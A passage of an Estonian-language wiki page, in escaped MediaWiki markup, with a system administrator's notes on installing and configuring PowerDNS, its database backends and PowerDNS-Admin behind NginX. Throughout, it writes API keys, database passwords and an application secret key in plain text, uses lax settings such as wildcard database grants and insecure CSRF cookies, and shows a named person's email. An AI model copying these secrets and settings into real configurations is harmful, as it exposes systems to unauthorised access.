}' -H 'X-API-Key: midagisalajast123' http://192.168.1.248:8081/api/v1/servers/localhost/zones/moraal.ee. | jq .&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* TODO&lt;br /&gt;
&lt;br /&gt;
kas käivitamiseks öelda&lt;br /&gt;
&lt;br /&gt;
 $ sh pdns-api.sh&lt;br /&gt;
&lt;br /&gt;
API'ga tutvumiseks võib olla hea mõte kuulata pealt mingi olemasoleva API-rakenduse ja serveri vahelist liiklust ja siis seda Wireshark abil uurida.&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* https://doc.powerdns.com/md/httpapi/README/ - tundub, et süntaks pole seal kõigis näidetes päris korrektne&lt;br /&gt;
&lt;br /&gt;
===PowerDNS kasutusstatistika===&lt;br /&gt;
&lt;br /&gt;
PowerDNS sisaldab sisemist veebiserverit, mille käest saab küsida teenuse kasutusstatistikat, TODO.&lt;br /&gt;
&lt;br /&gt;
===Logimine===&lt;br /&gt;
&lt;br /&gt;
Tundub, et vaikimisi logitakse syslog'i.&lt;br /&gt;
&lt;br /&gt;
===Varundamine ja taaste===&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
===Misc===&lt;br /&gt;
&lt;br /&gt;
====Paigaldamine operatsioonisüsteemi paketihaldusest====&lt;br /&gt;
&lt;br /&gt;
Paigaldamiseks sobib öelda, tuleb paigalda üldosa + mingi backend, nt BIND-ühilduvate tsoonifailide käsitlemise komponent (st failisüsteem)&lt;br /&gt;
&lt;br /&gt;
 # apt-get install pdns-server pdns-backend-bind&lt;br /&gt;
&lt;br /&gt;
Tulemusena tekib failisüsteemi&lt;br /&gt;
&lt;br /&gt;
* /etc/powerdns/pdns.conf - peamine seadistusfail&lt;br /&gt;
&lt;br /&gt;
====MySQL backend kasutamine====&lt;br /&gt;
&lt;br /&gt;
Teoreetliselt võib sodida tsooni sisu muutmiseks üldotstarbelise sql editoriga (nt PgAdmin) ka otse baasis, aga praktilisem on kasutada ehk pdnsutil või api't kasutava tarkvara abil, nt nsedit veebiliides.&lt;br /&gt;
&lt;br /&gt;
====pdns-backend-mysql paigaldamine ja seadistamine====&lt;br /&gt;
&lt;br /&gt;
Eeldusel, et MySQL baas juba töötab samas arvutis, sobib paigaldamiseks sobib öelda (seejuures kasutades db-config sistemat, mis paigaldamise käigus tekitab create database baasi, kasutaja, sätib privileegid jne)&lt;br /&gt;
&lt;br /&gt;
 # apt-get install pdns-backend-mysql&lt;br /&gt;
 ..&lt;br /&gt;
 Determining localhost credentials from /etc/mysql/debian.cnf: succeeded.&lt;br /&gt;
 dbconfig-common: writing config to /etc/dbconfig-common/pdns-backend-mysql.conf&lt;br /&gt;
 &lt;br /&gt;
 Creating config file /etc/dbconfig-common/pdns-backend-mysql.conf with new version&lt;br /&gt;
 &lt;br /&gt;
 Creating config file /etc/powerdns/pdns.d/pdns.local.gmysql.conf with new version&lt;br /&gt;
 checking privileges on database pdns for pdns@localhost: user creation needed.&lt;br /&gt;
 granting access to database pdns for pdns@localhost: success.&lt;br /&gt;
 verifying access for pdns@localhost: success.&lt;br /&gt;
 creating database pdns: success.&lt;br /&gt;
 verifying database pdns exists: success.&lt;br /&gt;
 populating database via sql...  done.&lt;br /&gt;
 dbconfig-common: flushing administrative password&lt;br /&gt;
 Processing triggers for libc-bin (2.24-3) ...&lt;br /&gt;
 Processing triggers for pdns-server (4.0.1-5) ...&lt;br /&gt;
&lt;br /&gt;
Tulemusena&lt;br /&gt;
&lt;br /&gt;
* tekitatakse MySQL kasutaja pdns&lt;br /&gt;
* tekitatakse MySQL create database pdns&lt;br /&gt;
&lt;br /&gt;
====BIND backend kasutamine====&lt;br /&gt;
&lt;br /&gt;
Tundub, et otsekoheselt failisüsteemis tsoonifaili redigeerimise teel on mõeldav töötada ainult BIND-formaadis backendiga. Muudega tuleks kasutada pdnsutil utiliiti või API liidest. Tsoonide nimekiri kirjeldatakse failis&lt;br /&gt;
&lt;br /&gt;
 # cat /etc/powerdns/named.conf&lt;br /&gt;
 # Debian default: supermaster created zones are written here:&lt;br /&gt;
 include &amp;quot;/var/lib/powerdns/supermaster.conf&amp;quot;;&lt;br /&gt;
 # Example for a manually configured slave zone:&lt;br /&gt;
 #&lt;br /&gt;
 zone &amp;quot;example.net&amp;quot; {&lt;br /&gt;
    file &amp;quot;/var/lib/powerdns/zones.slave.d/example.net.zone&amp;quot;;&lt;br /&gt;
    type master;&lt;br /&gt;
    masters { 192.0.2.53; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Tsoon kirjeldatakse failis&lt;br /&gt;
&lt;br /&gt;
 # cat /var/lib/powerdns/zones.slave.d/example.net.zone&lt;br /&gt;
 $TTL 180&lt;br /&gt;
 @           IN    SOA     ns1.example.net.      hostmaster.example.net. (&lt;br /&gt;
                        2014080705      ; Serial Number (date YYYYMMDD++)&lt;br /&gt;
                        86400           ; Refresh (24 hours)&lt;br /&gt;
                        1800            ; Retry (1/2 hour)&lt;br /&gt;
                        3600000         ; Expire (42 days)&lt;br /&gt;
                        21600)          ; Minimum (6 hours)&lt;br /&gt;
                        IN      NS      ns1.example.net.&lt;br /&gt;
                        IN      NS      ns2.example.net.&lt;br /&gt;
 &lt;br /&gt;
 @           IN    A       192.168.0.15&lt;br /&gt;
             IN    MX   10 mail.example.net.&lt;br /&gt;
 www         IN    A       192.168.0.15&lt;br /&gt;
 mail        IN    A       192.168.0.2&lt;br /&gt;
 ns1         IN    A       10.1.1.171&lt;br /&gt;
 ns2         IN    A       10.1.1.172&lt;br /&gt;
 imre        IN    A       10.1.1.173&lt;br /&gt;
&lt;br /&gt;
Muudatuse kehtestamiseks&lt;br /&gt;
&lt;br /&gt;
 # pdns_control bind-reload-now example.net&lt;br /&gt;
 example.net:    parsed into memory at 2016-10-26 20:43:14 +0300&lt;br /&gt;
&lt;br /&gt;
====PostgreSQL backend kasutamine====&lt;br /&gt;
&lt;br /&gt;
Teoreetliselt võib sodida tsooni sisu muutmiseks üldotstarbelise sql editoriga (nt PgAdmin) ka otse baasis, aga praktilisem on kasutada ehk pdnsutil või api't kasutava tarkvara abil, nt nsedit veebiliides.&lt;br /&gt;
&lt;br /&gt;
====BIND backend kasutamine====&lt;br /&gt;
&lt;br /&gt;
pdns-backend-bind seadistatakse failist&lt;br /&gt;
&lt;br /&gt;
 # egrep -v &amp;quot;^$|^#&amp;quot; /etc/powerdns/pdns.d/bind.conf &lt;br /&gt;
 launch+=bind&lt;br /&gt;
 bind-config=/etc/powerdns/named.conf&lt;br /&gt;
 bind-supermaster-config=/var/lib/powerdns/supermaster.conf&lt;br /&gt;
 bind-supermaster-destdir=/var/lib/powerdns/zones.slave.d&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* /etc/powerdns/named.conf - tsoonide nimekiri&lt;br /&gt;
* /var/lib/powerdns/supermaster.conf - lihtsal juhul tühi&lt;br /&gt;
* /var/lib/powerdns/zones.slave.d - BIND formaadis tsoonifailide kataloog&lt;br /&gt;
&lt;br /&gt;
Tsoonide haldamisega tegeleb edasi allpool olev punkt.&lt;br /&gt;
&lt;br /&gt;
====Poweradmin====&lt;br /&gt;
&lt;br /&gt;
Märkus: tõenäoliselt ei ole Poweradmin tarvkara kasutamine hea mõte kuna rakendus sodib otse PowerDNS andmebaasis ja 2016 aasta sügisel on hakanud tekkima paremaid alternatiive, nt nsedit.&lt;br /&gt;
&lt;br /&gt;
Poweradmin kasutamiseks peab PowerDNS kasutama SQL andmebaasi ja Poweradmin peab töötama vastu sama andmebaasi. Tundub, et Poweradmin töötab paremini MySQL + PHP5 keskkonnas. Kui Poweradmin PHP rakendus töötab teises arvutis kui MySQL baas, sobib baasis öelda&lt;br /&gt;
&lt;br /&gt;
 mysql&amp;gt; grant all privileges on pdns.* to 'pdns'@'%' identified by 'dbconfig sisestatud parool';&lt;br /&gt;
 mysql&amp;gt; grant all privileges on pdns.* to 'pdns'@'localhost' identified by 'dbconfig sisestatud parool';&lt;br /&gt;
 mysql&amp;gt; flush privileges;&lt;br /&gt;
&lt;br /&gt;
 # pdns_control retrieve moraal.ee&lt;br /&gt;
 Added retrieval request for 'moraal.ee.' from master 192.168.1.247&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-powerdns-with-a-mariadb-backend-on-ubuntu-14-04&lt;br /&gt;
&lt;br /&gt;
====Tsooni andmestikust otsing====&lt;br /&gt;
&lt;br /&gt;
* Kõigi forward tsoonide sisust ip aadressi kasutamise leidmine&lt;br /&gt;
&lt;br /&gt;
 # for i in `pdns_control list-zones | grep -v All | grep -v in-addr`; do pdnsutil list-zone $i 2&amp;gt;&amp;amp;1 ; done | grep 10.20.123.154&lt;br /&gt;
 ftp.moraal.ee	300	IN	A	10.20.123.154&lt;br /&gt;
&lt;br /&gt;
===2024 aasta kevade tähelepanekud===&lt;br /&gt;
&lt;br /&gt;
Eesmärk&lt;br /&gt;
&lt;br /&gt;
* ühe operatsioonisüteemi peal kompaktselt lahenduse pidamine - Debian v. 12&lt;br /&gt;
* dns server - PowerDNS&lt;br /&gt;
* webgui haldusliides - PowerDNS-Admin (PDA)&lt;br /&gt;
* dnssec võimekus&lt;br /&gt;
* docker abil kasutatakse konteinerit (PDA)&lt;br /&gt;
* andmeid hoitakse PostgreSQL andmebaasis&lt;br /&gt;
&lt;br /&gt;
====Tööpõhimõte====&lt;br /&gt;
&lt;br /&gt;
Väited&lt;br /&gt;
&lt;br /&gt;
* dnssec kasutab algoritmi nr 13&lt;br /&gt;
* NSEC3 kasutab '1 0 0 -' seadistust&lt;br /&gt;
* sekundaarsete nimeserveritega suhtlemine toimub catalog-zones abil&lt;br /&gt;
* kasutatakse KSK/ZSK ja CSK lähenemist võtmete pidamisel&lt;br /&gt;
&lt;br /&gt;
Protseduuride võimekus&lt;br /&gt;
&lt;br /&gt;
* NSEC, NSEC3 ja NSEC3 param väärtuste muutmine&lt;br /&gt;
* võtme vahetus&lt;br /&gt;
* krüptimise algoritmi vahetus&lt;br /&gt;
&lt;br /&gt;
====Platvormi ettevalmistamine====&lt;br /&gt;
&lt;br /&gt;
Platvorm koosneb&lt;br /&gt;
&lt;br /&gt;
* Debian v. 12 operatsioonisüsteem&lt;br /&gt;
* Docker Community Edition&lt;br /&gt;
* PostgreSQL v. 12&lt;br /&gt;
* NginX&lt;br /&gt;
&lt;br /&gt;
PostgreSQL&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pdns:/tmp# apt-get install postgresql-common&lt;br /&gt;
root@pdns:/tmp# mkdir /etc/postgresql-common/createcluster.d&lt;br /&gt;
root@pdns:/tmp# echo &amp;quot;initdb_options = '--data-checksums'&amp;quot; &amp;gt; /etc/postgresql-common/createcluster.d/moraal.conf&lt;br /&gt;
root@pdns:/tmp# echo &amp;quot;create_main_cluster = false&amp;quot; &amp;gt;&amp;gt; /etc/postgresql-common/createcluster.d/moraal.conf&lt;br /&gt;
root@pdns:/tmp# apt-get install postgresql-16&lt;br /&gt;
root@pdns:/tmp# pg_createcluster --locale en_US.UTF-8 16 pgcluster_pdns_prod&lt;br /&gt;
 &lt;br /&gt;
postgres=# \x&lt;br /&gt;
Expanded display is on.&lt;br /&gt;
postgres=# \l postgres&lt;br /&gt;
List of databases&lt;br /&gt;
-[ RECORD 1 ]-----+------------&lt;br /&gt;
Name              | postgres&lt;br /&gt;
Owner             | postgres&lt;br /&gt;
Encoding          | UTF8&lt;br /&gt;
Locale Provider   | libc&lt;br /&gt;
Collate           | en_US.UTF-8&lt;br /&gt;
Ctype             | en_US.UTF-8&lt;br /&gt;
ICU Locale        | &lt;br /&gt;
ICU Rules         | &lt;br /&gt;
Access privileges | &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
PowerDNS kasutaja ja create database baasi tekitamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# su - postgres&lt;br /&gt;
$ psql&lt;br /&gt;
sql&amp;gt; create role pdns login;&lt;br /&gt;
sql&amp;gt; \password pdns&lt;br /&gt;
sql&amp;gt; create database db_pdns owner = pdns;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
PowerDNS-Admin kasutaja ja create database baasi tekitamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# su - postgres&lt;br /&gt;
$ psql&lt;br /&gt;
sql&amp;gt; create role pda login;&lt;br /&gt;
sql&amp;gt; \password pda&lt;br /&gt;
sql&amp;gt; create database db_pda owner = pda;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====PowerDNS paigaldamine====&lt;br /&gt;
&lt;br /&gt;
PowerDNS ise ja tema tööks otseselt vajalikud komponendid (nt PostgreSQL andmebaas) töötavad nö tavalisel viisil operatsioonisüsteemi protsesside-teenustena st mitte-konteineritena.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# apt-get install pdns-server pdns-backend-pgsql pdns-tools&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Tulemusena käivitatakse pdns server ja tema bind backend.&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
PostgreSQL backend kasutamine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# psql -h 127.0.0.1 -U pdns pdns &amp;lt; /usr/share/doc/pdns-backend-pgsql/schema.pgsql.sql&lt;br /&gt;
Password for user pdns: &lt;br /&gt;
CREATE TABLE&lt;br /&gt;
CREATE INDEX&lt;br /&gt;
CREATE INDEX&lt;br /&gt;
CREATE TABLE&lt;br /&gt;
CREATE INDEX&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Baasi ligipääs jms kirjeldatakse failis, https://doc.powerdns.com/authoritative/backends/generic-postgresql.html#&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pdns:~# egrep -v &amp;quot;^#|^$&amp;quot; /etc/powerdns/pdns.d/gpgsql.conf&lt;br /&gt;
launch+=gpgsql&lt;br /&gt;
gpgsql-dbname=db_pdns&lt;br /&gt;
gpgsql-dnssec=yes&lt;br /&gt;
gpgsql-host=127.0.0.1&lt;br /&gt;
gpgsql-password=parool&lt;br /&gt;
gpgsql-port=5432&lt;br /&gt;
gpgsql-user=pdns&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
bind eemaldamiseks sobib kustutada fail&lt;br /&gt;
&lt;br /&gt;
 # rm /etc/powerdns/pdns.d/bind.conf&lt;br /&gt;
&lt;br /&gt;
Tulemusena töötab pdns server, gpgsql backendiga&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
2024-06-16T16:44:00.877817+03:00 pdns systemd[1]: Starting pdns.service - PowerDNS Authoritative Server...&lt;br /&gt;
2024-06-16T16:44:00.906026+03:00 pdns pdns_server[3916]: Loading '/usr/lib/x86_64-linux-gnu/pdns/libgpgsqlbackend.so'&lt;br /&gt;
2024-06-16T16:44:00.906356+03:00 pdns pdns_server[3916]: This is a standalone pdns&lt;br /&gt;
2024-06-16T16:44:00.906408+03:00 pdns pdns_server[3916]: Listening on controlsocket in '/run/pdns/pdns.controlsocket'&lt;br /&gt;
2024-06-16T16:44:00.906668+03:00 pdns pdns_server[3916]: UDP server bound to 0.0.0.0:53&lt;br /&gt;
2024-06-16T16:44:00.906684+03:00 pdns pdns_server[3916]: UDP server bound to [::]:53&lt;br /&gt;
2024-06-16T16:44:00.906735+03:00 pdns pdns_server[3916]: TCP server bound to 0.0.0.0:53&lt;br /&gt;
2024-06-16T16:44:00.906750+03:00 pdns pdns_server[3916]: TCP server bound to [::]:53&lt;br /&gt;
2024-06-16T16:44:00.906866+03:00 pdns pdns_server[3916]: PowerDNS Authoritative Server 4.9.1 (C) PowerDNS.COM BV&lt;br /&gt;
2024-06-16T16:44:00.906881+03:00 pdns pdns_server[3916]: Using 64-bits mode. Built using gcc 12.2.0 on May 28 2024 07:46:05 by root@localhost.&lt;br /&gt;
2024-06-16T16:44:00.906891+03:00 pdns pdns_server[3916]: PowerDNS comes with ABSOLUTELY NO WARRANTY. This is free software, and you are welcome to redistribute it according to the terms of the GPL version 2.&lt;br /&gt;
2024-06-16T16:44:00.915255+03:00 pdns pdns_server[3916]: Polled security status of version 4.9.1 at startup, no known issues reported: OK&lt;br /&gt;
2024-06-16T16:44:00.926644+03:00 pdns pdns_server[3916]: Creating backend connection for TCP&lt;br /&gt;
2024-06-16T16:44:00.935773+03:00 pdns pdns_server[3916]: About to create 3 backend threads for UDP&lt;br /&gt;
2024-06-16T16:44:00.935850+03:00 pdns systemd[1]: Started pdns.service - PowerDNS Authoritative Server.&lt;br /&gt;
2024-06-16T16:44:01.086206+03:00 pdns pdns_server[3916]: Done launching threads, ready to distribute questions&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ühtegi tsooni ei ole kirjeldatud&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pdns:/tmp# pdnsutil list-all-zones&lt;br /&gt;
root@pdns:/tmp# &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====PowerDNS seadistamine====&lt;br /&gt;
&lt;br /&gt;
Seadistamisel tegeldakse&lt;br /&gt;
&lt;br /&gt;
* api sisselülitamine (PDA jaoks)&lt;br /&gt;
* SOA kirje vaikeväärtused&lt;br /&gt;
* DNSSEC vaike krüpto&lt;br /&gt;
&lt;br /&gt;
====PowerDNS-Admin paigaldamine - PDA====&lt;br /&gt;
&lt;br /&gt;
PowerDNS-Admin tarvkara töötab docker konteinerina, aga kasutab host arvutist postgresql andmebaasi. Platvorm ettevalmistamine punktis on vajalik kasutaja ja create database tekitatud. PDA kasutamine eeldab, et PDNS juures on sisse lülitatud api liides (vaikimisi http liiklus üle port 8081).&lt;br /&gt;
&lt;br /&gt;
Docker compose fail&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pdns:~# cat docker-compose-pda.yml&lt;br /&gt;
services:&lt;br /&gt;
  svc_pda:&lt;br /&gt;
    image: powerdnsadmin/pda-legacy:v0.4.2&lt;br /&gt;
     &lt;br /&gt;
    container_name: cn_pda&lt;br /&gt;
    restart: always&lt;br /&gt;
    logging:&lt;br /&gt;
      driver: json-file&lt;br /&gt;
      options:&lt;br /&gt;
        max-size: 50m&lt;br /&gt;
    ports:&lt;br /&gt;
      - &amp;quot;9191:80&amp;quot;&lt;br /&gt;
    environment:&lt;br /&gt;
      - SECRET_KEY='saladus'&lt;br /&gt;
      - SQLALCHEMY_DATABASE_URI=postgresql://pda:pdaparool@192.168.10.53/pda&lt;br /&gt;
      - GUNICORN_TIMEOUT=60&lt;br /&gt;
      - GUNICORN_WORKERS=2&lt;br /&gt;
      - GUNICORN_LOGLEVEL=DEBUG&lt;br /&gt;
      - OFFLINE_MODE=False&lt;br /&gt;
      - CSRF_COOKIE_SECURE=False&lt;br /&gt;
 &lt;br /&gt;
    networks:&lt;br /&gt;
      - nw_pda&lt;br /&gt;
       &lt;br /&gt;
networks:&lt;br /&gt;
  nw_pda:&lt;br /&gt;
    name: nw_pda&lt;br /&gt;
    driver: bridge&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Käivitamiseks&lt;br /&gt;
&lt;br /&gt;
 # docker compose -f docker-compose-pda.yml up -d&lt;br /&gt;
&lt;br /&gt;
Tulemusena on aadressil http://192.168.10.53:9191/ PDA webgui sisselogimise ekraan. Pressida Create Account ja esimesena tekitatud kasutaja on admin privileegidega.&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
====PowerDNS-Admin paigaldamine - NginX operatsioonisüsteem====&lt;br /&gt;
&lt;br /&gt;
NginX https:// frontend kasutamiseks sobib kasutada sellist seadistust&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pdns:/etc/nginx/sites-enabled# cat /etc/nginx/sites-enabled/pdns &lt;br /&gt;
server {&lt;br /&gt;
    listen 80;&lt;br /&gt;
    server_name pdns.moraal.ee;&lt;br /&gt;
    root /var/www/html;&lt;br /&gt;
 &lt;br /&gt;
    if ($request_uri !~ /.well-known) {&lt;br /&gt;
      return 301 https://pdns.moraal.ee/;&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
 &lt;br /&gt;
server {&lt;br /&gt;
    listen 443 ssl http2;&lt;br /&gt;
    server_name pdns.moraal.ee;&lt;br /&gt;
    ssl_certificate /etc/ssl/localcerts/pdns.moraal.ee.pem;&lt;br /&gt;
    ssl_certificate_key /etc/ssl/localcerts/pdns.moraal.ee.key;&lt;br /&gt;
    ssl_session_timeout 1d;&lt;br /&gt;
    ssl_session_cache shared:MozSSL:10m;&lt;br /&gt;
    ssl_session_tickets off;&lt;br /&gt;
    ssl_protocols TLSv1.2 TLSv1.3;&lt;br /&gt;
    ssl_prefer_server_ciphers off;&lt;br /&gt;
    ssl_ciphers ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305:DHE-RSA-AES128-GCM-SHA256:DHE-RSA-AES256-GCM-SHA384:DHE-RSA-CHACHA20-POLY1305;&lt;br /&gt;
 &lt;br /&gt;
    client_max_body_size 25m;&lt;br /&gt;
 &lt;br /&gt;
    ssl_stapling off;&lt;br /&gt;
    add_header Strict-Transport-Security &amp;quot;max-age=63072000&amp;quot; always;&lt;br /&gt;
 &lt;br /&gt;
    access_log /var/log/nginx/access-pdns.moraal.ee-443.log;&lt;br /&gt;
    root /var/www/html;&lt;br /&gt;
 &lt;br /&gt;
    location / {&lt;br /&gt;
      proxy_set_header Host $http_host;&lt;br /&gt;
      proxy_set_header X-Forwarded-For $remote_addr;&lt;br /&gt;
      proxy_set_header X-Forwarded-Proto https;&lt;br /&gt;
      proxy_pass http://192.168.10.53:9191;&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====PowerDNS-Admin paigaldamine - NginX docker====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
TODO&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Misc====&lt;br /&gt;
&lt;br /&gt;
Tulemusena saab pda webgui poole pöörduda aadressiga https://pdns.moraal.ee/.&lt;br /&gt;
&lt;br /&gt;
PDA kasutaja parooli muutmine postgresql baasis, nb rakendus kasutab tabeli nimena 'user', see on postgresql nö built-in objekt ja name clash ületamiseks tuleb pöörduda rakendusega seotud ressursi poole &amp;quot;user&amp;quot; abil, eriti koos skeemi prefiksiga&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# su - postgres&lt;br /&gt;
$ psql db_pda&lt;br /&gt;
pda=# select * from public.&amp;quot;user&amp;quot;;&lt;br /&gt;
-[ RECORD 1 ]------------------------------------------------------------&lt;br /&gt;
id         | 1&lt;br /&gt;
username   | admin&lt;br /&gt;
password   | $2y$15$NgdA4JSsKb1RyaiWBdKjcODfgxkwmhMB.95sa07PX/d9a9QxZ/4FF&lt;br /&gt;
firstname  | Imre&lt;br /&gt;
lastname   | Oolberg&lt;br /&gt;
email      | imre.oolberg@auul.pri.ee&lt;br /&gt;
otp_secret | &lt;br /&gt;
role_id    | 1&lt;br /&gt;
confirmed  | f&lt;br /&gt;
..&lt;br /&gt;
&lt;br /&gt;
db_pda=# update public.&amp;quot;user&amp;quot; set password='$2y$15$NgdA4JSsKb1RyaiWBdKjcODfgxkwmhMB.95sa07PX/d9a9QxZ/4FC' where username='admin';&lt;br /&gt;
UPDATE 1&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kusjuures password väärtus tekitatakse nt&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ htpasswd -bnBC 15 &amp;quot;&amp;quot; pdaparool | tr -d ':\n'&lt;br /&gt;
$2y$15$NgdA4JSsKb1RyaiWBdKjcODfgxkwmhMB.95sa07PX/d9a9QxZ/4FC&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Kasutaja lisamine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
db_pda=# insert into &amp;quot;user&amp;quot; (username, password, firstname, lastname, email, role_id, confirmed) values ('admin',  '$2b$12$4M9qXQaWn95GTregvSO2v.I/1QQT0/Ayqt3jZsMp06FIa5dMme6Gu', 'Administrator', 'Administrator', 'priit@moraal.ee', 1, 'f');&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
pdns api kontakti lisamine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
db_pda=# insert into setting (name, value) values ('pdns_api_url', 'http://192.168.10.80:8081');&lt;br /&gt;
INSERT 0 1&lt;br /&gt;
db_pda=# insert into setting (name, value) values ('pdns_api_key', 'apiparool');&lt;br /&gt;
INSERT 0 1&lt;br /&gt;
db_pda=# insert into setting (name, value) values ('pdns_version', '4.9.11');&lt;br /&gt;
INSERT 0 1&lt;br /&gt;
db_pda=# select * from setting;&lt;br /&gt;
 id |     name     |         value&lt;br /&gt;
----+--------------+------------------------&lt;br /&gt;
  7 | pdns_api_url | http://192.168.10.80:8081&lt;br /&gt;
  8 | pdns_api_key | apiparool&lt;br /&gt;
  9 | pdns_version | 4.9.11&lt;br /&gt;
(3 rows)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====PDA kasutamise privileegid====&lt;br /&gt;
&lt;br /&gt;
Väited&lt;br /&gt;
&lt;br /&gt;
* Account - grupi taoline moodustis, praktiliselt võiks vastata domeeni omanik asutusele&lt;br /&gt;
* User - kasutaja taoline moodustis, vastab inimesele kes süsteemi kasutab&lt;br /&gt;
* User ja Account vaheliste seoste abil saab anda hulgale kasutajatele õiguse tegeleda hulga domeenidega&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@rv-xxx-01:/opt/pda/dc# docker exec -ti e8 sh&lt;br /&gt;
/app $ ps aux&lt;br /&gt;
PID   USER     TIME  COMMAND&lt;br /&gt;
    1 pda       0:00 {gunicorn} /usr/bin/python3 /usr/bin/gunicorn powerdnsadmin:create_app() -t 60 --workers 2 --bind 0.0.0.0:80 --log-level DEBUG&lt;br /&gt;
    7 pda       0:02 {gunicorn} /usr/bin/python3 /usr/bin/gunicorn powerdnsadmin:create_app() -t 60 --workers 2 --bind 0.0.0.0:80 --log-level DEBUG&lt;br /&gt;
    8 pda       0:01 {gunicorn} /usr/bin/python3 /usr/bin/gunicorn powerdnsadmin:create_app() -t 60 --workers 2 --bind 0.0.0.0:80 --log-level DEBUG&lt;br /&gt;
&lt;br /&gt;
[2025-10-31 13:06:25,927] [record.py:61] ERROR - Cannot fetch zone's record data from remote powerdns api. DETAIL: HTTPSConnectionPool(host='rvxxx-01.test.moraal.ee', port=443): Max retries exceeded with url: /api/v1/servers/localhost/zones/imretest-03.ee (Caused by SSLError(SSLCertVerificationError(1, '[SSL: CERTIFICATE_VERIFY_FAILED] certificate verify failed: self-signed certificate in certificate chain (_ssl.c:1007)')))&lt;br /&gt;
&lt;br /&gt;
    volumes:&lt;br /&gt;
        #      - /opt/pda/volume/pda/etc/ssl/certs/ca-certificates.crt:/usr/lib/python3.10/site-packages/certifi/cacert.pem&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====PDA API liidese kasutamine====&lt;br /&gt;
&lt;br /&gt;
Tsooni tekitamine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ curl -s -L -H 'Content-Type: application/json' -H 'Authorization: Basic xxx' -X POST https://pda.moraal.ee/api/v1/pdnsadmin/zones \&lt;br /&gt;
    --data '{&amp;quot;name&amp;quot;: &amp;quot;zone-moraal-imre-test-01.ee.&amp;quot;, &amp;quot;kind&amp;quot;: &amp;quot;MASTER&amp;quot;, &amp;quot;nameservers&amp;quot;: [&amp;quot;ans1.moraal.ee.&amp;quot;, &amp;quot;ans2.moraal.ee.&amp;quot;]}' | jq .&lt;br /&gt;
{&lt;br /&gt;
  &amp;quot;account&amp;quot;: &amp;quot;&amp;quot;,&lt;br /&gt;
  &amp;quot;api_rectify&amp;quot;: false,&lt;br /&gt;
  &amp;quot;catalog&amp;quot;: &amp;quot;&amp;quot;,&lt;br /&gt;
  &amp;quot;dnssec&amp;quot;: false,&lt;br /&gt;
